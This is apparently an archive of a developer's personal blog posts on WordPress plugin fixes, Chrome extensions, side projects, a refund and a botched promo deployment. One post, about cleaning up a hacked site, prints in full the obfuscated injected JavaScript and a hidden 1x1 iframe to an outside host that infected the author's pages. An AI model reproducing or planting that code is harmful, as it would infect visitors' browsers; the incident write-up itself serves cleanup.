If you are trying to figure out why a calendar with no events in that month has completely screwed up header navigation, just put this line of code inside of table.php in the top of the display_day function (put it directly before the for loop):

$thisisherebecausethispluginSUCKSdontremoveit = has_excerpt() ? TribeEvents::truncate($post->post_excerpt) : TribeEvents::truncate(get_the_content(), 30);

This basically just runs some “truncate” function on the “TribeEvents” object. For some reason this truncate function magically fixes the header nav display issues.

Two domains affected:

http://cmcculloh.com

http://hallelujahbutton.com

(this also of course affected all sub-domains of cmcculloh.com, such as blog.cmcculloh.com).

This morning I went to my site and was told by Chrome that I wasn’t allowed to go in because my site was going to infect my machine with H.I.V. (well, not really, but that’s how it felt).

Here’s the screen I saw:

THE VERY FIRST THING I DID WAS WENT AND CHANGED ALL OF MY PASSWORDS. I even finally got around to creating multiple users and separating all domains/sub-domains into their own user accounts. This way if cmcculloh.com gets cracked again, blog.cmcculloh.com will have less chance of also being compromised.

It took me quite a while to figure out what the culprit was (and I’m still not 100% sure) but then I realized that hallelujahbutton.com is exactly 1 page long it was really easy to find a very likely suspect. This line of code:

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\x5C\x62'+e(c)+'\134\142','g'),k[c]);return p;}('\x56\40\71\75\x55\x20\x54\x28)\73\71\x2EY\50\x39\x2E\130\50)\53\62)\x3BW\50\123.\x4F&\46\151\56u.N\x28\47M\x5C\x52\\c\x3D\47\51\x3D\75-\61\x29\173\x69\x2E\121\x28\'\\\120\134\x34\\\141\x5C\x318\\\x31\67\x5C\61\x36\x5C4\134\162\x5C\70\1341\x62\134\146\134\x62\'\x2B\x30.\x37(0.\x36\50)*\63\53\63\51\53\'\134\142\40h\\\61a\134\x31\x39\134\x31\65\\x\75\x5C\x22\x27\x2B0\x2E\67\x280\x2E\x36\x28\51\523+\x33\51+\47\x5C\42 \x5C\61\61\x5C\145\\10\\Z\134\x6A\\c\x5C\65\\j=\\\42\x5C\61\64\134\"\x5C\61\63\13412\x5C\x44\\\164\x5C5\134f\\\"B\\m\\4\\C\\\112\134n\134I\\o\134\x71\x5C\113\\F\\E\x5Cw\x5C8\x5C\x35\\\x79\\H\134a\x5C\70\x3A\\\x47\x27\530\x2E7\500.\x36\x28\x29*\x33\53\166)+\x27p\x5C\114\x5C\x79\x5C\x41\\\61\x63\134\x31\104\47\x2B\x30\x2E\x37(\x30\x2E6\x28)*\63\53v\x29+\47\\d\x5C\x67\x5C\x22\\1\x43\\\61\105\134f\\\61\x47\x5C\170\\\x38\134\144\72\1341\106\x5C\154\134g\x5C\x31\171\1341\x78\x5C1z\x5C1\102\x5C\61A\134\164.\\\x72\x5C\143\\\x31M\x5C\x6D\56\x31\x50\x5C\x6C\x5C\145\\\x6F\134\x34\134n\134\x31\117\134d\\\x31L\x5C\x31I\x5C\x7A\x5C\61\116\x5Ck\x5C\163\\\61\x4B\x5C\61\112\\\x31\x48\134\61j\\\61\x69\134\61\x6B\\1m\\q\1341l\1345\\1e\134\141\134s\\1\x64\134b\76\134\x31\x66\57\1341\150\134\141\\1\147\x5C\x31\164\x5C\61s\47);i.\165=\x27\x31\165\\\61\x77\x5Cw\\e\x5C\x31v\x5C\153\'+\x30.\67\50\x30.6\50)*\61o\51\53\x27\134\61\x6E\134\61\160\134\65\x5C\147\\\x7A\\\64\134\152\1341\162\134k\47+9.\61\x71\x28)\x7D',62,114,'\115\x61\x74h\174||10\x30\x7C\x78\x36\71|\61\64\65\x7C\x72and\157m|\x66\x6C\157or|\x78\674\174\145xp\x7C\61\64\66|4\x32|\x78\664\174\x316\60\x7C\1706\x44\174\x78\63\x44|1\x370\174\x7C\x64oc\165\x6De\x6Et\x7Cx\67\62\174\67\x35\x7C5\x37|\170\x37\x33\174x6\x45\x7C1\x34\x31\174\174\170\662\1741\644\1741\x343|\1706\103\174c\157\157\153ie|2\x30\60\174\61\x36\x35\x7C\616\64\174x\63\102\x7Cx\x370\x7C16\x34\x6F\160\174\x70\157\174\x787\64\x69\x7C\6171|1\x35\x34\174\x78\66\106|\655\x7C1\x354\145\x7Cx3A\x7C\615\67\x7C\x3163\174\x78\x378\x7C\x5F_u\174in\144\x65\x78\x4F\146\x7C\x63\157\157\153ieE\156a\142\x6Ce\x64|74\174w\162it\145\174\x78\66\104\x74|\x6E\x61vigat\157r|\104a\x74e\x7C\x6E\x65w\x7Cva\x72\174\x69\146\x7C\x67\x65\164\x44\141t\145|\x73\x65\x74D\141t\145\x7C\170\x362\x6F\174\170\x365\174\170\x36\x36\162\141\174\x31\x36\63\164\x7C\170\620\x7C\x360\174\6150\x7C40\167\x7Cx6D\145\1741\66\x32a\174\x786\x37\x7C1\645\x69|\x78\668\1747\x32|\x365\174x30|x\63\x43|\1707\x32a\x7C\61\x351|x\x33\657\x7C\170\633\x7C\1703\65\x7C\x78\63\x38\174\170\x337\174\x37\63\x7C\7199\719\x399|40\174to\x55\124C\x53t\x72\151ng\x7C\x31\64\65\163|\170\63E\174\x31\x35\x35e\x7C\137|x\674\144|\170\x35F|16\63\155\174x\x36\x31\174\6161\174x69\145|\170\66\64\163\174\x78\62\x30\163r\x7Cx\62D\x7C\x78\66\63|\x78\62F\1744\x32\150\x7Cx3\x31\174\x783\x46\174\x7834\x7C67\x7C\x78\x36\70\x70|1\x35\x36|\x786\x31g\x65\174\65\x36\174\165\x73'.split('|'),0,{}))</script>
<iframe src="http://xmtudaac.cz.cc/?go=1" width="1" height="1"></iframe>

(I added a line break for legibility)

EEEEEWWWW!!!!!! I got pwned!!!

Not 100% sure if it is the iframe *and* the script, or just the iframe.

How did I fix it?

ssh’ed into the site and ran this command “grep -ir function\(p,a,c,k,e,d\) *”. Found that it was in 46 files. Downloaded the entire site and then did a global find/replace in Sublime Text (Ctrl + Shift + h) on the entire script (that I pasted above) and replaced it with nothing. Then I did a follow up search on “function(p,a,c,k,e,d)” again to confirm it was cleaned. Then I deleted the contents of my site on the server and re-uploaded everything I wanted up there.

So, how did this happen? Who knows. I definitely wasn’t the only one. I had, within the last week, used a Chrome App called ShiftEdit and given it my ftp credentials, so I initially thought it might have been them somehow. But then I realized that I share my server with at least 100 other sites. Chances are 99% of those people don’t know anything about security, and a good 20 of them probably use “password1″ as their password. If any of those people got hacked, it’s just a small step once you’re on the box to wrangle root access and run a shell script that eats HTML documents and poops them out with your script inside of them (no, I don’t know how to do this, but I could most likely be doing it by the end of the week were I so nefariously inclined. It’s not hard. USE A GOOD PASSWORD and DON’T REUSE IT ACROSS SITES).

So, anywho, I have cleaned my site and submitted my site to Google for verification so that we can get this error page back down. DON’T click the “proceed anyway” link. Because I’m just a guy and I could still be infected and not know it. Always just click the “go back” button. Once Google has OK’d it, the site will become available (as hallelujahbutton.com now has).

THANK YOU GOOGLE!!! YOU’RE AWESOME!!! Except that I *really* wish your error pages were more specific on EXACTLY what the problem was instead of making me hunt and hunt for it.

Also, I’ve deleted hallelujahbutton.com and set the domain name to expire. I completely forgot it existed and am too busy to want to deal with it anymore so, pruned!

I finally fixed the Tab Edit Chrome Extension. Update and click “Restore Defaults” and it will work again. Still working on the problem of it not persisting the favicon selection though.

I have officially abandoned work on the JS Console Chrome Extension. It’s absolutely pointless. Just hold shift when you hit enter while using the native JS Console and you can get multi-line functionality. That was the whole point of JS Console, so once I discovered this, I abandoned the project. I forgot to ever let anyone know though, so this is me making it official. I’ve made notes in all other relevant places as well.

Limeberry is coming along just swell. I’ve made some major improvements today. Gradient history swatches that when you hover over you can retrieve previous gradient code. Ditched all the PHP based code in favor of JS. Gave ability to change the number of gradient stops on the fly without a page reload (still doesn’t preserve your previous stops/colors). LOTS more work to come on this. The more observant of you may notice that I’m updating the URL on the fly as you make changes. Yes, that’s right, very very soon you will be able to bookmark swatches you create (or email/IM links) so you can save/load swatches. This is the project I’m most excited about right now, so this will be getting some love over the next few weeks. I’m hoping to turn this into a really nifty tool and even plop down the $10 I need to get it it’s own domain. I’ve possibly even got another dev on board to design the page (rather than it just being ugly as hell the way it is now). Much much more to come…

This is definitely early beta. It’s functional, but only just (but hey, I did it in an hour over my lunch break).

Check out the project page to see the roadmap and for info on how to contribute (this is an open source project).

This was developed with Chrome, but early testers have informed me it works with Firefox and Opera as well (yay!).

1. I’m actively working on documentation for the jquery ui tab rotation plugin. I’ve (finally) got a very basic working example up.

   The plugin is stupidly easy to use:
   
$("#tabbedElement").tabs().tabs("rotate", 4000, true);

   Note that you MUST first call tabs() before you can add the rotation with .tabs(“rotate”, [ms], [rotate]). Also note that as of right now none of those params are optional! You can also call .tabs(“pause”) and .tabs(“unpause”) to start and stop the rotation. You can instantiate a rotating element that starts as “paused” by passing in false for the [rotate] param.

   We use this plugin at FinishLine.com, and we are always on the most recent stable release of both jquery and jquery UI, which means that this plugin is nearly always guaranteed to work with the newest version of both. I’ll be posting updates to this blog whenever there is anything to report. The plugin’s official “homepage” is right here.

2. Node.JS is a server side implementation of JavaScript. It is basically PHP or ASP or [name your server side language of choice here] but with JavaScript. This fulfills Knuth’s 3rd law, which states that any code that can be written will eventually be written in JavaScript, which fulfills Knuth’s 4th law which states that Knuth’s 3rd law will change languages every 10 years. In case you were wondering, Knuth’s 2nd law is that a 12% improvement is easily obtainable and should not be marginalized, which compliments while nearly contradicting Knuth’s 1st law, which states that premature optimization is the root of all evil.

   ANYWAYS, I’m working on something FUN in node.js. If it works out, it’s gonna be BIG. If not, you’ll never hear about it again, lol. But that’s not what I want to talk about. This is a quick note to make mention of the fact that if you are looking for a node.js server, they are out there. You don’t have to roll your own. Check out no.de, or this stackoverflow question or this page on the project’s wiki for hosting options.

3. And last but not least, you may notice that I have re-designed the blog. I’m now using a PREMIUM wordpress theme created by my good friends over at outerspiceweb.com. It’s called Continuum, and it is spectacular. It is their newest offering.

   I’m doing some work with it, so I installed it here to help me figure out how it works and debug and develop on it, but I like it so much I think I’ll just leave it up. You too can have this rad-tacular theme by heading over to its page on themeforest.

4. Oh, and one final thing. I am actually working on upgrading status-bar calculator for Firefox 4.0. I’m having trouble, I have no idea why it’s not working, but when I figure it out there will be a write-up here.

Again, Flurl is a little practice exercise I did. A mashup of Flickr and Qurl and no external JS libraries used (so I wrote my own).

I’m taking this photo stream and sending the URLs to Qurl for shortening (using their API). This is the end result (best experienced in Chrome): The Unicorn/Panda Rainbow Connection (Be careful, since the photos are completely random “popular” flickr photos, even though they purport to be “safe” there are definitely some NSFW photos now and then).

Some thoughts: Qurl sucks as far as response time. I had to limit my photos to five because Qurl was so darn slow responding to my requests and there is no way to do a batch request. BAD. What would I do to fix this? How about dump Qurl entirely. Flickr has their own shortening algorithm that doesn’t even require an API call. If I had to keep using Qurl? I’d go ahead and load the photos to the page for the user with the long links, then I’d make a button on the photo (or link or something) that allowed them to request a shortened URL from Qurl. They click the button/link and an AJAX request fires off grabbing the URL and giving it to them.

I couldn’t get the Flickr API to return only a certain number of Photos. I did everything I could find that it said I should do to get it to only return five or ten photos, but alas, it didn’t work. So I had to make a loop that just used the first five/ten photos and ignore the rest. If it weren’t for Qurl, which takes over 30 seconds most times to shorten 5 urls, I wouldn’t care how many Flickr sent back. Still weird and wasteful and if I had more time I’d look into it until I got it working.

When I removed Qurl from the loop, the photos returned in less than five seconds flat (awesome!). However, with Qurl the response time ranges from 30s to 90s. So AS SOON AS I get the response back I fire off another request. If the response only took 5s total, I’d put a timeout or interval or something that queried only once a minute or so. Or, better yet, I’d make it fire off the request 10 seconds before my photo scroll ended and just put the new photos above my current scroll and make the scroll seem endless (like the pandas).

I spent far too much time on the library. I had big plans and it turned out I wrote way more code than I ended up needing because I was doing VERY LITTLE DOM manipulation. Of course if I worked on this for another forty hours or so the library really would have paid off because it would have saved me time as my interactions got more and more complex. If I had come up with the full design before I started writing the code I would have known I wasn’t going to need much DOM interaction, but as it stands I didn’t have any idea what the page was going to look like until I was almost completely finished with the cQuery JS library.

Queue. Something interesting I came up with was a way of handling mutliple simultaneous AJAX requests and multiple simultaneous animations. A queue.

For the AJAX requests I had an AJAX queue that just held all of my requests (didn’t end up needing this, but it is there if I decide to do the Qurl thing separate from the photo retrieval). I hope to go into the AJAX queue in more detail in another post, but the reason I needed it was the callback function. I needed somewhere to put it until the request completed.

For the animation queue, I didn’t want to set up a whole bunch of different “set intervals” or “set timeouts” so instead I made an “animations” array and then made ONE setInterval that called a function that looped through the animation array. Each spot in the array held an “animation” Object, which had an “animate()” function. The animate function would get called on the object and be allowed to run in the proper context (with “this” functioning as expected). This ended up saving me a lot of code and headaches and made my JS run way faster than it otherwise would have. Of course I ended up only having one animation run at a time and I have no standard way of removing from the queue, but I could add that to the library and there is definitely room for more animations.

One last thing, the song is from Jonathan Neal (who is hilarious). I converted it to .ogg format because Firefox didn’t allow anything else, however it appears that Safari doesn’t accept .ogg format, so if I had more time I’d make something to detect with browser I’m in and respond with the .mp3 format instead…

I just got this e-mail:

Hello Christopher,
I have processed the refunds and reverted you to a free account.

If you don’t need any more help on these tickets, I will close them for you.

Let me know if you have any questions.

Sincerely,
Bruce McMullen
[e-mail redacted by blog author]
L2 Mozy Support Technician
Mozy Support is available 24/7
My Schedule: Mon – Fri 12:00pm – 8:00pm MST
Mozy, from EMC

Checked my bank account and sure enough, there was the money! Logged into my Mozy account and sure enough it was downgraded. Nicely done Mozy! I’ll keep you in mind next time I’m thinking about trying online backup…

What it does:

Allows you to chat on Freenode IRC through your browser, even if your corporate proxy blocks IRC (IRC is the third biggest security hole for corporate networks).

When you need it:

• When you don’t have an IRC Client installed
• When IRC is blocked

How to use it:

Yesterday I was re-living my saga on thedailywtf.com. I’m Jared L.

Part 1
Part 2
Part 3

Well, immediately after reading all of that I went and made a big ‘ole wtf all on my own. Read on…

Every Wednesday and Friday finishline.com gets updated with new promotional material. Most notable of all of these is the “A1 rotator”. This is the flash rotator prominently displayed on the homepage of the website. Each Tuesday and Thursday Sean in marketing will send me (up to) four new .swf files and one .xml file to drop in to the root directory of the site and the A1 rotator will magically update with these new files. I’ve been doing this bi-weekly for a year and a half and have never personally screwed it up. It’s not hard. I copy the files from one directory into another and zip them up and send them over to the build and release manager, Brandon, who sends them over to Verizon who pushes them out to 71 different instances of our website. It functions like clockwork. Until it doesn’t. This is a story about a massive multi-layered failure of the A1 rotator and it’s 100% my fault.

Thursday afternoon at around 4:30 I received the files from marketing and copied them over into the required directory on my local box. As always, I manually uploaded the files to the QA server (a mirror of production) so marketing could test them. I zipped up the files and e-mailed them Brandon. I didn’t bother to go out to our QA server and test them myself because, “hey, I’ve been doing this a year and a half and have never screwed this step up and I’m really busy and what could possibly be wrong? I just copied some files over, what could I have screwed up?” Oh the fallacy…

At this point, the piece of dung sorry excuse for an e-mail client “Outlook” crashed. I had already sent off the files so I didn’t notice.

An hour later when I’m preparing to go home for the day I go to send and e-mail and see that once again Outlook has crashed. I pop it back open and find that I have an e-mail waiting for me from marketing. Five minutes after I sent the zipped files over to Brandon, marketing e-mailed me to let me know that something was wrong with the A1 spot on the QA server. Crap.

I open up Firefox and hit the QA server only to find myself staring at a big empty white space where the A1 rotator should be. WHAT???

Ok, maybe the xml file is pointing at a non-existant swf file and the whole thing is bombing out… What are the names of the files? Oh, there’s a complicated one, “a1_jordan_02102010.swf” maybe the xml has that name screwed up. Let’s simplify things. I rename the file “a1_jordan.swf” and edit the XML “a1_jordan.swf”. Upload. Check. NOPE!

OK, marketing has obviously screwed this all up. Everyone from marketing has gone home at this point so I send an e-mail off requesting corrected files from marketing and prepare to call it a day. But I can’t just leave it at that because that would be irresponsible.

I quickly scan the root directory looking to make sure all the swf files are there. Yes. Is the XML file there? Yes. Ok, so banner_rotator.swf should be pulling them in but it’s crash… OOOOH NOOOOOO (said in a Tim “the Tool Man” Taylor voice). Suddenly I’m flashing back to the previous Thursday when I’m performing this exact same task. I recall that at that time I was feeling a little “cleany” and I decided that I should go through and remove all the old swf files from promos-gone-by. Sean happened to walk into my cube at exactly that moment and together we review the fifty or so swf files that don’t need to be there anymore. Clicking them one by one was going to take too long, so I selected ALL of the swf files and then we went through and de-selected the four required for the next day’s A1 rotator. Once I was sure I wasn’t going to delete the rotator files, I went ahead and deleted the rest of the swf files. Including the banner_rotator.swf master file that pulls in the xml and the four content swfs. SHOOT!

So I recover the banner_rotator.swf, add it to the root, and send it all back over to Brandon. I follow up with an e-mail absolving marketing and I call it a day. Everything’s fine and I even let my boss know what happened assuring him that everything is taken care of. Little do I know…

The next morning as I’m preparing to leave for work I happen to check my work e-mail. The A1 rotator is missing from the site. Apparently the promo push still hasn’t run, and the CDN we use has dropped the banner_rotator.swf file since it no longer exists in our build (because I deleted it last Thursday so it was dropped out of the following Thursday’s production deploy, which was yesterday). Great. The promo push is about to start though and then everything will be ok. I call a few people and send some e-mails to let everyone know what’s going on and leave for work.

When I get into the office I pull up the website and check only to discover that the first spot in the rotation is completely blank. I have several e-mails informing me of this as well. Flash back time… Remember when I renamed the jordan file as part of my debug process? Yeah, me too. Apparently I never put the name back correct but the xml did get switched back. So now I really am missing a swf. I guess the only thing that happens if a swf is missing is that the spot for it in the rotation is just blank. Good thing the only spot that’s blank is the very first spot, which is only seen by 100% of our visitors and only clicked on more than anything else in the entire site!

I call Brandon and sheepishly request that he manually go through all 71 instances of our site and rename the file in every one so that we don’t have to do an emergency push and incur a fine. Which he does and the whole thing is fixed.

At this point I get up and start looking for my coffee mug. It’s missing. I finally stumble across it right next to the coffee machine. Curiously it has a little pile of cream and sugar in it all ready for a cup of jo. It is then that I realize what the root of the whole problem was. I never had my coffee the day before. Why? Because someone took the last of the coffee and didn’t start a new pot brewing; when I went to get my coffee the pot was empty. I had started a new pot brewing, got my mug ready, walked away and never came back; resulting in me doing the entire promo push without any caffeine in me. Apparently I just suck without caffeine. And that boys and girls is why you should always start a new pot if you drink the last of the current one. That is also my lame attempt to shift the blame away from myself, lol. No, this was 100% my fault…

What it does:

Allows you to compile JavaScript down to a compressed form. It reads in your JavaScript, parses it, and re-writes it to be much smaller. This is good for you because it will make your site load faster, much faster in some cases.

When you need it:

• To compress your JavaScript
• To combine multiple JavaScript Files

How to use it:

The Example:

Additional Notes:
Notice in the compile directions there is an @output_file_name parameter. You can change this to something other than “default.js” (you can name it anything you want. Then you can actually access the results by clicking on the link on the right hand pane that says “The code may also be accessed at default.js” (if you rename it it will put the name you put instead of default.js). Here’s the file generated by my example.